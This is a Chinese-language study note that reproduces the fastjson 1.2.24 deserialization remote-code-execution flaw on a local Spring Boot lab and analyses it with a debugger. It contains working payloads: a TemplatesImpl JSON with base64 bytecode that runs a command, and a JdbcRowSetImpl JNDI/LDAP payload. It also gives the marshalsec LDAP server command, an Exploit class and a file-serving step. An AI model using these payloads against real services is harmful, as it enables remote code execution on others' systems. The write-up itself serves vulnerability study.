fastjosn反序列化漏洞歷史CVE學習整理
fastjosn 反序列化漏洞學習
fastjson 1.2.24反序列化漏洞復現
先寫一個正常的使用 fastjson的web服務
我們使用 springboot建立
主要是pom.xml 裡面要新增fastjson
fastjson要求小於等於 1.2.24
<dependency> <groupId>com.alibaba</groupId> <artifactId>fastjson</artifactId> <version>1.2.23</version> </dependency>
簡單寫個路由解析
controller.Login.java
@Controller public class Login { @RequestMapping(value = "/fastjson", method = RequestMethod.POST) @ResponseBody public JSONObject test(@RequestBody String data) { JSONObject obj = JSON.parseObject(data); // JSONObject obj = JSON.parseObject(data, Feature.SupportNonPublicField); // 當使用 TemplatesImpl的時候用這個 JSONObject result = new JSONObject(); result.put("code", 200); result.put("message", "success"); result.put("data", "Hello " + obj.get("name")); return result; } }
model.User.java
public class User { public String name; public int age; public String id_card; public String getName() { return name; } public void setName(String name) { this.name = name; } public int getAge() { return age; } public void setAge(int age) { this.age = age; } public String getId_card() { return id_card; } public void setId_card(String id_card) { this.id_card = id_card; } }
controller.Login 是一個控制器是一個路由用於解析請求
model.User 是一個使用者類 包含一些屬性用於fastjson與資料對應解析
請求
這裡傳送的資料是這樣的
{
"@type": "com.example.demo.model.User",
"name": "Recar",
"age": 22,
"id_card": "12334567"
}
@type 是用於fastjson找到資料對應的類 下面的是User的屬性值
我們這裡可以看到成功解析了資料
復現及分析
基於TemplatesImpl的復現與分析
因為poc用到了 私有屬性 fastjson預設不會解析私有屬性 需要開啟這個 Feature.SupportNonPublicField
payload
{
"@type": "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl",
"_bytecodes": ["yv66vgAAADEALAoABgAeCgAfACAIACEKAB8AIgcAIwcAJAEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBABJMb2NhbFZhcmlhYmxlVGFibGUBAAR0aGlzAQANTHBlcnNvbi9UZXN0OwEACkV4Y2VwdGlvbnMHACUBAAl0cmFuc2Zvcm0BAKYoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIZG9jdW1lbnQBAC1MY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTsBAAhpdGVyYXRvcgEANUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7AQAHaGFuZGxlcgEAQUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7AQByKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO1tMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIaGFuZGxlcnMBAEJbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjsHACYBAApTb3VyY2VGaWxlAQAJVGVzdC5qYXZhDAAHAAgHACcMACgAKQEABGNhbGMMACoAKwEAC3BlcnNvbi9UZXN0AQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAEAE2phdmEvaW8vSU9FeGNlcHRpb24BADljb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvVHJhbnNsZXRFeGNlcHRpb24BABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7ACEABQAGAAAAAAADAAEABwAIAAIACQAAAEAAAgABAAAADiq3AAG4AAISA7YABFexAAAAAgAKAAAADgADAAAADwAEABAADQARAAsAAAAMAAEAAAAOAAwADQAAAA4AAAAEAAEADwABABAAEQABAAkAAABJAAAABAAAAAGxAAAAAgAKAAAABgABAAAAFQALAAAAKgAEAAAAAQAMAA0AAAAAAAEAEgATAAEAAAABABQAFQACAAAAAQAWABcAAwABABAAGAACAAkAAAA/AAAAAwAAAAGxAAAAAgAKAAAABgABAAAAGgALAAAAIAADAAAAAQAMAA0AAAAAAAEAEgATAAEAAAABABkAGgACAA4AAAAEAAEAGwABABwAAAACAB0="],
"_name": "a.b",
"_tfactory": {},
"_outputProperties": {}
}
com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl
type
是想要序列化類的路徑
_bytecodes
最後呼叫getOutputProperties時會進行建立的Exploit類的class 二進位制base64編碼
發poc後斷點除錯
點選第一個下一步箭頭跟進 (F8) F7那個是跟入函式 我們跟入函式
可以直接快進到語法解析
語法解析的token
JavaBeanInfo build方法
getDeclaredFields 獲得某個類的所有宣告的欄位,即包括public、private和proteced,但是不包括父類的申明欄位
getDeclaredFields 獲取到的屬性值
程式會 建立了一個 陣列儲存後續將要處理的目標類的特定setter方法及特定條件的getter方法
呼叫getter條件就是如下圖
進入呼叫get的條件
String methodName = method.getName();
if (
methodName.length() >= 4 && // 方法名長度要大於等於4
!Modifier.isStatic(method.getModifiers()) && // 不是靜態方法
methodName.startsWith("get") && // 以get字串開頭
Character.isUpperCase(methodName.charAt(3)) && // 第4個字元要是大寫字母
method.getParameterTypes().length == 0 && // 方法不能有引數傳入
(Collection.class.isAssignableFrom(method.getReturnType()) ||
Map.class.isAssignableFrom(method.getReturnType()) ||
AtomicBoolean.class == method.getReturnType() ||
AtomicInteger.class == method.getReturnType() ||
AtomicLong.class == method.getReturnType()))
// 繼承自Collection || Map || AtomicBoolean || AtomicInteger || AtomicLong
繼續走 走到 getOutputProperties 符合get的所有要求
並且將getOutputProperties
加入到 後面會進行呼叫的列表裡
可以看到列表裡有 這個方法
後面反射建立例項後呼叫方法設定 _bytecodes
值
然後呼叫 getOutputProperties 我們跟進
要求_name不能為空 空的話直接返回了
_bytecodes 不能為空
然後繼續
會呼叫 _tfacroty的getExternalExtensionsMap()方法 所以tfacroty要設定個{}
這裡可以看到 tfacroty 不是一個空的{}
tfactory 為啥不是空的
是fastjson在這裡對空的物件解析後會賦值應有的物件 在 TemplatesImpl裡可以看到 private transient TransformerFactoryImpl _tfactory = null;
並且跟進後可以看到有 getExternalExtensionsMap方法
_class[_transletIndex] 就是我們的要執行的類
newInstance 會呼叫建構函式 類似new newInstance只能呼叫無引數的建構函式
下劃線是怎麼回事去掉的
在 JavaBeanDeserializer中會把set get方法的下劃線去掉
poc中的 _outputProperties
去掉下劃線也可以用
其他屬性欄位是不行的
基於jndi ldap方法的攻擊鏈
因為我本機的jdk不滿足 rmi的條件 於是使用的ldap的方式來複現
ldap的方式是使用外部載入class的形式
payload
{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"ldap://localhost:1389/Exploit",
"autoCommit":true
}
使用 marshalsec 構建 ldap服務
java環境:jdk1.8.0_161 < 1.8u191 (可以使用ldap注入)
git 先下載下來
git clone [email protected]:mbechler/marshalsec.git
mvn 編譯成jar包 (mvn最好配置好國內的比如阿里的maven源)
mvn clean package -DskipTests
最後target目錄下輸出 marshalsec-0.0.3-SNAPSHOT-all.jar
啟動 java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://127.0.0.1:8081/#Exploit
這裡是啟動了個ldap 然後我們需要構建個簡單的web服務返回exploit
編寫Exploit
執行命令執行計算器
public class Exploit {
public Exploit (){
try{
Runtime.getRuntime().exec("calc");
}catch (Exception e){
e.printStackTrace();
}
}
public static void main(String[] argv){
Exploit e = new Exploit();
}
}
先直接執行 彈出計算器 在out目錄下看到 Exploit.class
啟動簡單web服務
簡單實用python建立
這個是python2的命令
python -m SimpleHTTPServer 8081
這個命令要在 Exploit.class 目錄下執行 埠與上面marshalsec執行命令的埠一致
postman傳送請求
{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"ldap://localhost:1389/Exploit",
"autoCommit":true
}
斷點除錯
解析上傳的json
這次會被呼叫滿足條件的是 setAutoCommit
setDataSourceName
呼叫set方法的條件是
方法名長度大於4且以set開頭,且第四個字母要是大寫
非靜態方法
返回型別為void或當前類
引數個數為1個
然後會設定dataSourceName值
反射呼叫setDataSourceNmae
反射呼叫setAutoCommit
觸發ldap裡的lookup方法 並且裡面的引數就是我們設定的遠端地址 就上面開源的那個工具裡很多可以利用的反序列化鏈
呼叫鏈
可以清晰的看到從 testVuln 介面進入 parse解析json物件後解析欄位 設定欄位值
使用invoke動態呼叫set方法
可以看到 setAutoCommit的方法呼叫 這裡觸發漏洞
然後是對expoit類的例項化
遠端呼叫這個expolit的類來實現執行
最後執行exec的方法
總結
-
基於TemplatesImpl的利用鏈
使用_outputProperties方法可以滿足get的條件實現自動呼叫getOutputProperties 方法並且會使用到私有成員變數_bytecodes
他又是可控的 -
rmi 或者ldap方式
是使用基於遠端載入類的方式 jndi有個setAutoCommit方式設定為True後會自動呼叫setValue方法
使用特定的set方法來自動呼叫 和可控的引數傳入 -
java會對@type的型別通過 javaBeanInfo 來獲取所有的屬性和方法
通過特定條件過濾set和get方法 滿足的進行呼叫 再與可控引數 可控的 @type類 實現命令執行